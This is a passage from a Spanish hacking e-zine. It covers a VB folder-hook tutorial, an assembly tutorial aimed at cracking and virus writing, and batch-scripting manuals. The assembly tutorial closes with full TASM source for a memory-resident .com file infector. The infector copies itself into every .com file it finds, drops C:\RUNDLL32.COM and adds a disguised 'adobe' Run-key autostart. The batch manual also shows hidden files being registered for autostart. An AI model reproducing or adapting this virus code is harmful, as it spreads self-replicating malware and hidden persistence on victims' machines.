Así que antes de empezar con el Form_Load, arreglemos esa línea, que nos queda así: Wss.RegWrite “HKEY_CLASSES_ROOT\Directory\Shell\PROTECTO\”, Yo & “ %1” Y no olviden poner el espacio antes del %1 ya que sino lo hacemos, no lo envía como comando... Ahora si, pasemos al Form_Load: Private Sub Form_Load() ‘Verificamos si recibimos comandos If Command$ <> “” then ‘Si es así, miramos si es una carpeta If GetAttr Command$ = VbDirectory Then ‘Si es una carpeta, la abrimos con el Explorer.exe Shell %SystemRoot% & “\Explorer.exe “ & Command$ End if End if End Sub Y listo! Ahora si, con eso nos ejecutamos cuando se abre una carpeta y abrimos dicha carpeta. Si quieres hacer una especie de aplicación para proteger carpetas y todavía no se te prendió la lamparita, te daré una idea (pero no haré código ;-)) Con el objeto Command$ recibimos la ruta de la carpeta que se esta queriendo abrir, así que, previamente tendremos supónganse un archivo, que contendrá todas las carpetas que se desea proteger. Así que al recibir los comandos, los comparamos, si es igual a alguno de los que esta en el archivo, pedimos contraseña para abrirlo, si la contraseña es valida la abrimos, sino no la abrimos. Eso es una pequeña idea que les podrá ayudar. Me despido, les envío un cordial saludo.

ANYD00M

Page 27: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Introduccion Al ASM II CUH e-zine 3ª Edicion

INTRODUCCION AL ASM II By The Shadow

INTRODUCCION AL ASM II

“ORIENTANDONOS AL CRACKING y VirII CoDiNg”

Uno de los principales usos que

se le puede dar a tener un poco de conocimiento del ensamblador, es no estar perdido en tus primeras aproximaciones en el cracking.

En este segundo tuto intentare darles una orientación básica a lo que es el assembler que usan los crackers para crackear (XD), sin alejarnos del objetivo artístico de aprender a programar en assembler con aplicación a la creación de virus. PD: Algunos puntos de interés para el cracking, como lo son “los registros”, los obviaré en este tuto ya que en la primera parte los expuse.

Algo que tenemos q recordar es el registro IP. Cuando me refiera a IP, quiero decir Puntero de Instrucción, el cual recordaremos que es donde se ubica la instrucción que se esta ejecutando en un programa. 0- Instrucción LEA

LEA ~ Load Effective Adress ~ Cargar dirección efectiva Básicamente realiza la funcion de mov, calcula el offset del operando origen, y lo almacena en el destino Sintaxis: lea (reg/pos),(reg/pos) Ejemplo: lea ax,dx

1- Instrucciones INC y DEC: Estas instrucciones son sumamente simples, pero tengo q explikrlas ya q las usaremos después. Weno … imagínense que es como set a=%a%+1 en batch o a++ en C. INC ~ Increment ~ Incrementa: como su nombre lo dice, aumenta en uno el valor de un registro o de una posición de memoria. DEC ~ Decrement ~ Decrementa: como su nombre lo dice, disminuye en uno el valor de un registro o de una posición de memoria. Ejemplos: … INC DX ;Incrementa DX en uno … DEC DWORD PTR [DI+102] ;Decrementa en uno el valor del DWORD ubikdo en [DI+102] del segmento actual … 2- Instrucciones de comparación CMP y TEST: Los valores que contienen las flags que utilizan los saltos, los determinan otros comandos, estos son los "comparadores", de estos podemos mencionar los mnemonicos "cmp" y "test", de los cuales estudiaremos el "cmp". -Sintaxis del "cmp": cmp v1,v2 --donde "v1" corresponde a: un valor hex, un registro o una posición de memoria. Al igual que "v1", "v2" también representa un valor. Así, "cmp v1,v2", tomara "v1" como valor de destino y "v2" como valor fuente, luego resta el valor fuente menos el valor de destino y actualiza las flags con el resultado. CMP equivale a un SUB lógico, solo q no guarda sus resultados en los registros, pero si actualiza las flags TEST ~ Comprobar: Equivale a hacer un AND lógico, solo q no modifica registros, solo actualiza las flags. 3- Manejando saltos condicionales: En lenguajes de alto nivel, como el basic, se tienen comandos o sentencias que permiten tener un control sobre las sentencias que se ejecutan en un

Page 28: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Introduccion Al ASM II CUH e-zine 3ª Edicion programa, a estas les llamaremos "sentencias condicionales", ya que toman en cuenta el cumplimiento de una condición para seguir con la siguiente; entre estos comandos podemos ver: el "if"(como principal); while; until; etc. En asm también tenemos mnemonicos condicionales, los cuales cada uno de ellos representa una condición especifica. Como principal ejemplo tenemos a los saltos. Estos saltos estan condicionados por los valores que poseen las "flags" (registros especiales que vimos en el 1er tuto). Como ya hemos vistos, el mnemonico "jmp" ~ jump ~ saltar.. se utiliza para saltar a una posición especifica de memoria determinada ya sea por una etiqueta(en leguajes de macro como en el "TASM") o por una dirección de offset. Técnicamente esto lo hace incrementando el valor de IP (Puntero de Instrucción). Equivale a un GOTO. Ejemplos: … JMP 0046D24C ;salta a CS:0046D24C. … JMP etq1 ;salta a la etiqueta "etq1" dentro del macro. …. Hay varias derivaciones según la activación de diferentes flags. Así las derivaciones son: “ Hexadecimal Assembler Significa

75 o 0F85 Jne Salta si no es equivalente74 o 0F84 Je Salta si es equivalenteEB Jmp Salta directamente a . . .

90 Nop ( No OPeration ) Sin operación

77 o 0F87 Ja Salta si esta sobre OF86 Jna Salta si no esta sobre0F83 Jae Salta si esta sobre o igual

0F82 Jnae Salta si no esta sobre o igual

0F82 Jb Salta si es inferior 0F83 Jnb Salta si no es inferior

0F86 Jbe Salta si esta debajo o igual

0F87 Jnbe Salta si no esta debajo o igual

0F8F Jg Salta si es mayor 0F8E Jng Salta si no es mayor 0F8D Jge Salta si es mayor o igual

0F8C Jnge Salta si no es mayor o igual

0F8C Jl Salta si es menor 0F8D Jnl Salta si no es menor 0F8E Jle Salta si es menor o igual

0F8F Jnle Salta si no es menor o igual

“ tabla sacada de la red En la tabla podemos ver el código en hexadecimal, el mnemónico y su significado. Weno, para tenerlo mas claro veremos un ejemplo: … MOV DX,00 ;dx==00 INI: INC DX ;incrementa el valor dx en 1 dx+1 CMP DX,05 ;compara dx con 05 JE FOK ;si dx=05 salta a la etiqueta FOK JMP INI ;sino salta a la etiqueta INI FOK: MOV AH,4C ;ah==4C … Lo que akabamos de ver es un simple bucle que establece el valor de dx en 00 luego cuando entra en la etiqueta “ini”, se incrementa el valor de dx, o sea que, si antes de entrar en la etiqueta dx era 00 después del “INC DX”, dx tomaba el valor de 01 y así sucesivamente mientras se mantuviera en el bucle, luego de que el valor de dx se incrementa, este se compara con el valor “05”, si la flan “equal” se activa, entonces salta a la etiqueta “FOK”, sino vuelva a “INI”. Esto es algo que veremos muy frecuente en ingeniería inversa. 3.1-Saltos cortos, cercanos y largos. Hay veces que necesitamos indicar que tipo de salto realizaremos dependiendo de tan lejos saltaremos. JMP SHORT ~ Salto corto: Se realiza si vamos a saltar a una dirección comprendida entre lo q puede dos bytes (-128 a +127 antes o después de IP actual). … 00402207 JMP SHORT 402100 … JMP NEAR ~ Salto cercano: Se realiza si vamos a saltar a una dirección comprendida entre lo q puede un byte (-32768 a +32767 antes o después de IP actual). … 00402207 JMP NEAR 404010 …

Un salto largo es ya cuando se tiene como distancia el contenido de 4 bytes. Este tipo de saltos se ven cuando un programa llama a una función de un modulo. Por ejemplo para saltar a USER32.GetDlgItemTextA desde el app.00401171: ------------------------------------------app.exe---------- …

Page 29: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Introduccion Al ASM II CUH e-zine 3ª Edicion 00401171 JMP DWORD PTR DS:[<&USER32.GetDlgItemTextA>] … --------------------------------------------------------------- Algo que tenemos que tomar en cuenta es que las especificaciones de corto, cercano y lejano, también debemos especificarlas en las demás derivaciones de saltos (los condicionales), claro, cuando sea necesario. 4- Instrucciones PUSH y POP. La PILA o STACK Para empezar con esto, tengamos este diagrama en mente: PUSH Y = mete el valor de Y en el almacén POP X = saca y guarda, el ultimo valor metido en el almacén, en X Almacén = | | | | | | | _ _ | A = 1 B = 2 C = 3 D = 0

PUSH A | | | | | | | _1_ |

PUSH C | | | | | 3 | | _1_ |

PUSH B | | | 2 | | 3 | | _1_ |

POP D . . . . . . . . D = 2 . : | : | | | | 2 | | | | 3 | | 3 | | _1_ | | _1_ | Ahora veamos como se vería este diagrama en asm: … MOV AH,01 ;AH=01 MOV AL,02 ;Al=02 MOV DH,03 ;DH=03 MOV DL,00 ;DL=0

PUSH AH ;AH a stack PUSH DH ;DH a stack PUSH AL ;AL a stack POP DL ;recordemos q el ultimo valor en entrar a la pila fue el de AL, y AL vale 02 asiq DL=02 … Por si acaso: PUSH X ~ Meter: Mete el valor de el registro X en la pila POP Y ~ Sacar: Saca y guarda en el registro Y el ultimo valor introducido en la pila. La pila es como un almacén donde se guardan valores de los registros. Recordemos que la dirección de la pila esta especificada por los registros: SS:SP (Stack Segment:Stack Pointer ~ Segmento de la pila:Puntero actual de la pila). 5- Instrucción LOOP Weno esencialmente, esta instrucción la usaremos a la hora de crear bucles y no qeremos meternos con mov-inc-cmp-jne. Básicamente lo que hace LOOP es comparar CX con 0 si CX=0 entoncs continua con la siguiente instrucción si no vuelve a su parámetro. LOOP decrementa el valor de CX cada ves que IP se ubica en el. -Su sintaxis es: LOOP PARAM -- donde PARAM es la instrucción a la cual volvera IP si CX no es igual a 0 Ejemplo: … MOV CX,05h INI: LOOP INI FOK: … 6- Instrucciones CALL Y RET: La orden CALL equivale a un CALL en batch. Y RET equivale a GOTO :EOF en batch. Su sintaxis es como la del JMP, se permiten etiquetas, registros, direcciones de memoria. CALL lo que hace es introducir IP+1 en la pila, o sea la instrucción que sigue al CALL, y salta a la dirección que se le indica, RET toma el valor que introduce el CALL en la pila, y salta a el. Ejemplo en Batch: … SET NOMBRE=JORGE CALL :EC %NOMBRE% EXIT :EC

Page 30: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Introduccion Al ASM II CUH e-zine 3ª Edicion ECHO %1 GOTO :EOF … Ejemplo en ASM: … NOM DB "JORGE$" .CODE INI: MOV AX,@DATA MOV DS,AX MOV DX,OFFSET NOM MOV AH,9 CALL XXI JMP OTER XXI: INT 21H RET … 6- Funciones dentro de un programa escrito en TASM. En lenguajes como el BASIC, tenemos la opción de tener subrutinas las cuales podemos llamar en cualquier momento asi podemos ver en BASIC: … Sub sumd(Dim var as Integer) var = var + 1 End Sub …

En TASM también podemos tener funciones. Así podemos ver el ejemplo en BASIC en TASM: … sumd macro var mov dx, var inc dx ENDM …

Donde “sumd” es el nombre del macro, “macro” especifica que una función y var se refiere a el argumento de la llamada. Las funciones se deben especificar antes de el código (segmento .code o .text). 7- Estructura de un ejecutable escrito en TASM (2da forma) En el tuto anterior aprendimos una forma de estructura para crear un programa con TASM mediante la definición concreta de los segmentos de código, esta vez aprenderemos otra forma en la cual asumiremos los segmentos en el proceso principal. Sintaxis A (Estableciendo todos los segmentos): --------------------------------------------------------------- ;definición de constantes y modelo ;macros ------------------------------------stack--------------------- stac SEGMENT PARA STACK 'stack'

;definición de buffer stac ENDS ------------------------------------segmento .data--------- data SEGMENT PARA PUBLIC ;definición de valores data ENDS ------------------------------------segmento .code--------- codi SEGMENT PARA PUBLIC 'code' prin PROC FAR ASSUME CS:codi, DS:data, SS:stac, ES:eseg ;codigo del programa prin ENDP codi ENDS prin END ------------------------------------segmento extra--------- eseg SEGMENT PARA PUBLIC ;código Eseg ENDS --------------------------------------FIN--------------------- Sintaxis B (Asumiendo segmentos sin definirlos todos): --------------------------------------------------------------- ;definición de constantes y modelo ;macros ------------------------------------segmento .code--------- codi SEGMENT PARA PUBLIC 'code' prin PROC FAR ASSUME CS:codi, DS:codi, ES:codi ;codigo del programa prin ENDP codi ENDS prin END -------------------------------------FIN---------------------- Nota: Si no necesitamos establecer la pila, bien podemos omitir su inclusión en el programa. 8- Programa de practica: Weno como programa de practica haremos un code algo rebuskdo pero q en fin nos ayudara a ver algunas estructuras que vimos en este tuto, además de algunos servicios de la int 21h y una inclusión para los q somos batch coderz, “como podemos fusionar un archivo .bat y uno .com! .. xD” .286 ;especificamos el modelo prog segment byte public 'CODE' assume cs:prog, es:prog, ds:prog ;definimos segmentos org 100h ini: ;escribimos el codigo batch q se ejecutara en .bat db '@ECHO OFF',0dh,0ah db ':' jmp hma

Page 31: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Hacking Newbie

Introduccion Al ASM II CUH e-zine 3ª Edicion ;cuando se ejecuta el .com aki saltamos al area virica db 0dh,0ah db 'COPY %0.BAT ' virr_com: db 'C:\RUNDLL32.COM' db '>NUL',0dh,0ah db'reg add HKLM\software\microsoft\windows\currentversion\run /v adobe /d "C:\RUNDLL32.COM" /f',0dh,0ah db 'C:\RUNDLL32.COM',0dh,0ah db 1ah copi label byte ;aki especificamos donde comienza el fragmento a copiar arch: db "*.com",0 ;especificamos el tipo de archivos a infectar hma proc near mov di,0ffffh mov bx,copif-a_hma+05h mov ax,4a02h ;ya estamos residentes? int 2fh inc di jz salr ;si ya estamos residentes, nos vamos push di cld ;flag de acarreo a 0 mov si,offset a_hma ;comienza desde el offset de a_hma mov cx, copif-a_hma ;cantidad a pasar rep movsb ;pedimos residencia en hma hma endp a_hma label byte codi proc near mov ah,04eh ; servicio 4eh (buscar primer archivo del directorio actual) lea dx,arch ; CX = atributos int 21h ; DS:DX -> filespec ;(en nuestro caso: archive ~ *.com) enc_arch: mov ax,3d02h ; servicio 3dh (Abrir archivo) mov dx,9eh ; DS:DX -> nombre del archivo (en nuestro caso usamos el 9eh~dta del 4eh) int 21h ; AL = modo de apertura .. 2 – leer y escribir copir_arch: mov cx,copif-copi ; servicio 40h (escribir en archivo) lea dx,copi ; CX = numero de bytes a escribir mov ah,40h ; DS:DX -> buffer int 21h mov ah,3eh ;servicio 3eh

(cerrar archivo) int 21h cont: mov ah,4fh ;servicio 4fh (buscar siguiente archivo) int 21h jnb enc_arch ;si existen mas archivos, los infectamos, sino terminamos salr: int 20h ;devolvemos control copif label byte ; lo usamos para cuestiones del cantidad de bytes a copiar codi endp prog ends end ini El programa es un infectador de archivos .com residente, el programa es bastante sencillo pero nos ayudara a tener algunos conceptos en orden, además que vemos la técnica de residencia por hma (high memory acess) y algunos servicios de manejo de archivos, si bien no se pudo explikr bien el programa a sido por cuestiones de espacio e intentando que el lector desarrolle la habilidad de investigar, corregir errores y analizar.

Me conformo con q un 70% haya podido ser comprendido … =D ….. Saludos y hasta la próxima!

The Shadow

Page 32: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Manual Batch CUH e-zine 3ª Edicion

Manual de Batch By Espectro Infernal

MANUAL UTILIDAD FOR + CALL + ETIQUETA Bueno, en este manual voy a explicar uno de los usos más frecuentes y habituales en el

comando FOR. Es una utilidad fácil de aprender (si ya se sabe manejar con

las funcionalidades básicas del FOR) y a la vez, muy útil. Saber utilizar correctamente y con ingenio esta utilidad, como en todas las utilidades del FOR, nos ayudará a programar mejor nuestros proyectos. Cuando digo programar mejor, me refiero a hacer un code más legible, con menos líneas, más preciso, limpio, profesional. En este manual no voy a enseñar a como usar el FOR, doy por entendido que si quieres usar esta utilidad sencilla ya sabes usar el FOR de manera sencilla, como mínimo. De este modo, quiero hacer un manual más o menos corto, didáctico, sencillo, y sobretodo, que se entienda y aprendan algo.

Para empezar vamos a ver la estructura que tiene este FOR…: FOR [/L, /F, /R] [CRITERIOS] %%VARIABLE IN (CONJUNTO) DO COMANDO [PARAMETROS] Digamos que la parte en negrita es la que nosotros tendremos que introducir según lo que queramos hacer, estas partes pueden estar en corchetes (lo cual significa que no son obligatorias pero en la medida de lo posible, deberíamos usarlas siempre para ser más precisos con nuestro código) y la parte subrayada es la que es totalmente obligatoria. Todo esto supongo que ya lo saben. Tómenlo como una pequeña introducción. Ahora voy a explicarles que método vamos a tratar y porque lo usaremos, sus ventajas, etc. Vamos a usar un método en el que podremos usar cualquier variedad del FOR (/F, /R, /L) y nuestra parte fundamental será el uso del CALL como comando. Que ventajas tiene CALL en frente a GOTO? Bien, principalmente, en el uso de CALL para llamar una etiqueta, podemos usar parámetros por lo que podremos trabajar con lo que el FOR esté

trabajando en un momento de la ejecución del flujo de código. Además, podemos usar el GOTO :EOF en la llamada a una etiqueta, con CALL para que

vuelva a la lectura de código después de la llamada a la etiqueta y no acabe con el código. Vamos a entender esto mejor:

@ECHO ON ECHO HOLA GOTO :SALUDO PAUSE MSG FIN :SALUDO ECHO ADIOS PAUSE GOTO :EOF Como podemos ver, al llegar a la etiqueta saludo, nos escribe el mensaje “adiós” y hace “GOTO :EOF” que lo tomaremos como un “END”. Se acaba el programa. Ahora vamos a utilizar el mismo code pero la llamada a la etiqueta la haremos con CALL: @ECHO ON ECHO HOLA CALL :SALUDO PAUSE MSG FIN :SALUDO ECHO ADIOS PAUSE GOTO :EOF En este caso llega al GOTO :EOF y lo que hace es volver al code desde la línea donde se llamo a la etiqueta, de este modo que el resto del código (MSG * …) sigue en curso. Esta es la clave principal para entender el uso del FOR con el CALL y ver las utilidades que esto tiene. En el caso de este code, el primer “GOTO :EOF” que se ejecute, funcionará correctamente, volverá a la línea después de la llamada a la etiqueta y leerá el “MSG”, pero luego, por lógica, volvería a leer la etiqueta ya que no hay ninguna instrucción que envíe el flujo de código a otro lado. La segunda vez que se ejecute “GOTO :EOF” no nos devolverá a la llamada de la etiqueta porque está no fue llamada, simplemente se leyó porque el orden del código era ese. Es importante darse cuenta del funcionamiento que tiene CALL pues ahora vamos a empezar con una de la sutilidades que tiene usar el FOR+CALL+ETIQUETA y luego usar el FOR+CALL+ETIQUETA+PARÁMETROS, que es la más útil de las que voy a explicar en este manual, lógicamente. Ya que el paso de parámetros a una etiqueta llamándola con CALL es una gran

Page 33: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Manual Batch CUH e-zine 3ª Edicion ventaja. Normalmente usaremos FOR+CALL para poder realizar tareas muy rutinarias en las que pueda variar una parte del código. Vamos a poner un ejemplo sencillo; en este caso, queremos crear 5 archivos y ponerles a cada uno de estos sus correspondientes atributos y agregarlos al registro en RUN. En ese caso podemos encontrar 2 formas básicas, la más sencilla: Crear 5 archivos, agregar 5 veces los atributos, agregar cada uno de estos archivos. Un total de cómo mínimo 15 líneas. Bien vamos a ver dos códigos, el primero es el sencillo y en el segundo usaremos el FOR. Vamos a verlo: @ECHO OFF ECHO 10 > %SYSTEMDRIVE%\ASDF.TXT ECHO 10 > %SYSTEMDRIVE%\QWER.TXT ECHO 10 > %SYSTEMDRIVE%\1234.TXT ECHO 10 > %SYSTEMDRIVE%\KLM.TXT ECHO 10 > %SYSTEMDRIVE%\JHG.TXT ATTRIB +H %SYSTEMDRIVE%\ASDF.TXT ATTRIB +H %SYSTEMDRIVE%\QWER.TXT ATTRIB +H %SYSTEMDRIVE%\1234.TXT ATTRIB +H %SYSTEMDRIVE%\KLM.TXT ATTRIB +H %SYSTEMDRIVE%\JHG.TXT REG ADD “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “ASDF” /d “%SYSTEMDRIVE\ASDF.TXT” /f > nul REG ADD “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “QWER” /d “%SYSTEMDRIVE\ASDF.TXT” /f > nul REG ADD “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “1234” /d “%SYSTEMDRIVE\ASDF.TXT” /f > nul REG ADD “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “KLM” /d “%SYSTEMDRIVE\ASDF.TXT” /f > nul REG ADD “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “JHG” /d “%SYSTEMDRIVE\ASDF.TXT” /f > nul EXIT Como podemos ver, el code lo hicimos del modo más fácil. Podríamos ponerlo todo en una línea concatenando con “&” o “&&” pero eso es jugar sucio, el code ha de ser bonito, legible y haciéndolo de este modo estamos consiguiendo nuestro objetivo pero hicimos un code demasiado largo 17 líneas, (15 + @echo off + exit.) Ahora vamos a hacer este code usando for+call+etiqueta+parámetros y seguro que notarás la diferencia. @ECHO OFF ECHO ADSF > %SYSTEMDRIVE%\ARCHIVOS.TXT

ECHO QWER >> %SYSTEMDRIVE%\ARCHIVOS.TXT ECHO 1234 >> %SYSTEMDRIVE%\ARCHIVOS.TXT ECHO KLM >> %SYSTEMDRIVE%\ARCHIVOS.TXT ECHO JHG >> %SYSTEMDRIVE%\ARCHIVOS.TXT FOR /F “TOKENS=* DELIMS= ” %%A IN (%SYSTEMDRIVE\ARCHIVOS.TXT) DO CALL :TAREA %%A EXIT :TAREA SET A=%1 ECHO 10>%SYSTEMDRIVE%\%A%.TXT ATTRIB +H %SYSTEMDRIVE%\%A%.TXT REG ADD “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” /v “%a%” /d “%SYSTEMDRIVE%\%A%.txt” /f > nul GOTO :EOF Bien este es un claro ejemplo del uso de esta utilidad. El code es más corto, usamos un comando útil, es más “preciso” por decirlo de algún modo. Y además nos ahorramos líneas, imaginen que quieren hacer más acciones con cada uno de los archivos, pues en el primer code deberían construir el código de la acción a realizar 5 veces (1 por archivo) sin embargo en el uso del FOR solo deberíamos hacerlo 1 vez. Si entendiste la explicación del GOTO :EOF en la llamada a una etiqueta con CALL, el código no te habrá sido difícil de entender, incluso podríamos ahorrarnos declarar una variable que contenga el parámetro “%1”. Cabe explicar eu la llamada a la etiqueta con CALL sigue esta estructura en el cuerpo del FOR: CALL :TAREA %%A CALL es el comando que llama a la etiqueta que procede por “:nombre” y el parámetro se establece con %%A, que contiene la palabra que en ese momento FOR está escaneando. En el primer ciclo del FOR, CALL se mostrará así: FOR /F “TOKENS=* DELIMS= “ %%A IN (%SYSTEMDRIVE%\ARCHIVOS.TXT) DO CALL :TAREA %%A Y el primer ciclo tomará la siguiente forma: CALL :TAREA ASDF Entrara a la etiqueta tarea y establecerá la variable “a” como contenido del primer parámetro (%1), en este caso: ASDF y gracias a esta variable podrá ejecutar el código con sentido, el nombre del archivo que cree se llamará asdf, el valor del registro también, etc. Cuando llegue a la línea GOTO :EOF, volverá hasta la llamada de CALL, como este CALL está dentro de un for, antes de continuar el código, mirará si ya se acabaron de ejecutar todos los ciclos del bucle, si no es así, continua. En este caso, tomará la segunda palabra: QWER, llamara a la etiqueta TAREA pasándole el parámetro (QWER) y se realizarán las acciones determinadas. Una vez terminado el bucle FOR, continua con el resto del

Page 34: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Manual Batch CUH e-zine 3ª Edicion código, (EXIT) y acaba el programa. Como has podido observar, usando CALL en un FOR podemos hacer muchas acciones para muchos objetos, archivos, etc. Con poco código. También podríamos trabajar con diferentes variables. En este caso nosotros hemos trabajado con un FOR /F, ahora imagínate que queremos trabajar con 10 variables, bien, la nomenclatura de estas 10 variables con las que queremos trabajar tienen que tener una relación. Por ejemplo: palabra1, palabra2, palabra3, palabra4, etc. Tienen una relación el nombre de estas variables? Si, por supuesto, una vez esto, podemos ponernos a trabajar con 10 variables usando FOR+CALL+ETIQUETA+PARÁMETROS: @ECHO OFF SET PALABRA1=HOLA SET PALABRA2=, SET PALABRA3=YO SET PALABRA4=ME SET PALABRA5=LLAMO SET PALABRA6=ESPECTRO SET PALABRA7=INFERNAL SET PALABRA8=ENCANTADO SET PALABRA9=DE SET PALABRA10=CONOCERTE. ECHO %PALABRA1%>%SYSTEMDRIVE%\PALABRA1.TXT ECHO %PALABRA2%>%SYSTEMDRIVE%\PALABRA2.TXT ECHO %PALABRA3%>%SYSTEMDRIVE%\PALABRA3.TXT ECHO %PALABRA4%>%SYSTEMDRIVE%\PALABRA4.TXT ECHO %PALABRA5%>%SYSTEMDRIVE%\PALABRA5.TXT ECHO %PALABRA6%>%SYSTEMDRIVE%\PALABRA6.TXT ECHO %PALABRA7%>%SYSTEMDRIVE%\PALABRA7.TXT ECHO %PALABRA8%>%SYSTEMDRIVE%\PALABRA8.TXT ECHO %PALABRA9%>%SYSTEMDRIVE%\PALABRA9.TXT ECHO %PALABRA10%>%SYSTEMDRIVE%\PALABRA10.TXT ECHO %PALABRA1%>%SYSTEMDRIVE%\PALABRAS.TXT ECHO %PALABRA2%>>%SYSTEMDRIVE%\PALABRAS.TXT ECHO %PALABRA3%>>%SYSTEMDRIVE%\PALABRAS.TXT ECHO %PALABRA4%>>%SYSTEMDRIVE%\PALABRAS.TXT ECHO %PALABRA5%>>%SYSTEMDRIVE%\PALABRAS.TXT ECHO %PALABRA6%>>%SYSTEMDRIVE%\PALABRAS.TXT ECHO %PALABRA7%>>%SYSTEMDRIVE%\PALABRAS.TXT ECHO

%PALABRA8%>>%SYSTEMDRIVE%\PALABRAS.TXT ECHO %PALABRA9%>>%SYSTEMDRIVE%\PALABRAS.TXT ECHO %PALABRA10%>>%SYSTEMDRIVE%\PALABRAS.TXT SET PALABRA1= SET PALABRA2= SET PALABRA3= SET PALABRA4= SET PALABRA5= SET PALABRA6= SET PALABRA7= SET PALABRA8= SET PALABRA9= SET PALABRA10= EXIT Bien, en este code lo que hemos hecho es lo siguiente: Creamos 10 variables, (palabra1,palabra2,palabra3,etc.) A cada una de estas variables le asignamos una palabra, por ejemplo: la variable palabra6 contiene: “Espectro”. Bien, una vez creadas las variables hemos creado 10 archivos (.TXT) estos archivos también siguen una lógica (palabra1.txt, palabra2.txt, palabra3.txt, etc.) En cada uno de estos archivos hemos almacenado el contenido de su variable. Por ejemplo: en el archivo palabra7.txt tenemos el contenido de la variable palabra7, es decir: “Infernal”. Seguidamente hemos creado un archivo (palabras.txt) que contiene 10 líneas, cada línea es una palabra. Es decir: el archivo palabras.TXT tiene este contenido: HOLA , YO ME LLAMO ESPECTRO INFERNAL ENCANTADO DE CONOCERTE. Finalmente, establecemos ahora todas las variables con un valor nulo. Lo se, el code no tiene ningún sentido, tómalo como un simple ejemplo. Ahora vamos a repetir este code pero vamos a usar el FOR+CALL+ETIQUETA+PARÁMETROS para ver la cantidad de líneas que nos ahorramos: @ECHO OFF SET PALABRA1=HOLA SET PALABRA2=, SET PALABRA3=YO SET PALABRA4=ME SET PALABRA5=LLAMO SET PALABRA6=ESPECTRO SET PALABRA7=INFERNAL SET PALABRA8=ENCANTADO

Page 35: Joejdf - WordPress.com · 2008-05-21 · ¾ Aprende cambiar tus IP y crear un reseteador de estas (siendo dinámicas o Estática) En este manual Tratare de enseñar a usar el Hide

Programacion

Manual Batch CUH e-zine 3ª Edicion SET PALABRA9=DE SET PALABRA10=CONOCERTE. FOR /L %%A IN (1,1,10) DO CALL :PRIMERATAREA %%A FOR /L %%A IN (1,1,10) DO CALL :SEGUNDATAREA %%A FOR /L %%A IN (1,1,19) DO SET PALABRA%%A= EXIT :PRIMERATAREA SET A=PALABRA%1 ECHO %A% > %SYSTEMDRIVE%\%A%.TXT GOTO :EOF :SEGUNDATAREA SET A=PALABRA%1 ECHO %A%>>%SYSTEMDRIVE%\PALABRAS.TXT GOTO :EOF El primer code tiene 42 líneas y el segundo 23. La diferencia de líneas es considerable. Aun así, el segundo code podría hacerse aún más corto ya que no es necesario declarar la variable %a% como el parámetro %1 y podríamos referirnos a %1 directamente. Aún así, para mayor legibilidad del código recomiendo usar variables para almacenar parámetros. Puedes fijarte también que en el último FOR /L : FOR /L %%A IN (1,1,19) DO SET PALABRA%%A= No llamamos a ninguna etiqueta ya que solo se realiza una acción. En caso de que se realicen más, es recomendable usar la llamada a etiquetas con CALL. Con este manual se habrán dado cuenta que conocer esta utilidad del FOR les hará crear codes con menos letras, mucho más elegantes y podrán manejar mucho mejor el flujo y dirección del código. Espero que haya quedado bien clara la explicación. Ya tienen la base, usen su imaginación para hacer virguerías y exprimir al máximo sus Batch codes.

MANUAL DE PARÁMETROS EN BATCH:

Debido a la gran cantidad de problemas que los aprendices en programación Batch tienen referentemente a los parámetros y lectura de códigos con estos, me decido a publicar este manual con el fin de dejar claro como funcionan los parámetros en Batch, utilidades y uso de estos.

Para empezar, nos centraremos en lo que es un parámetro. Por definición, un parámetro es una “variable” que puede ser recibida por una subrutina o complementar la llamada a un procedimiento, o en el caso más común en Batch: complementar para modificar el comportamiento en la llamada a un archivo .bat o una etiqueta.

Para acceder a los distintos parámetros que acompañen la llamada a un archivo .bat o a una etiqueta con la nomenclatura: “%n” (sin comillas) donde n puede tener cualquier valor entero positivo

del 0 al 9. El parámetro %0 se distingue de los demás

parámetros (%1,%2,%3… %9) por la sencilla razón de que no es un parámetro que podamos declarar, simplemente el parámetro existe por defecto y almacena en u archivo por lotes, la ruta del archivo que se está ejecutando.

Para entender todo esto mejor, vamos a poner un ejemplo. Nuestro programa tiene que copiarse a si mismo en la carpeta prueba de la unidad c: Veamos como podemos programar esto:

@ECHO OFF COPY %0 c:\prueba\miarchivo.bat EXIT En este código usamos el parámetro %0 que como

bien dijimos antes, es el parámetro que guarda al dirección del archivo que se está ejecutando. En este caso, no sabemos donde esta situado el archivo que se ejecuta, podríamos ejecutar ese .bat en el escritorio o en la misma unidad c:, de ese modo usamos %0 que guardará la ruta del archivo. La parte subrayada completa el comando COPY indicando la ruta donde va a ser copiado el archivo y el nombre que quiere que reciba el archivo en cuestión.

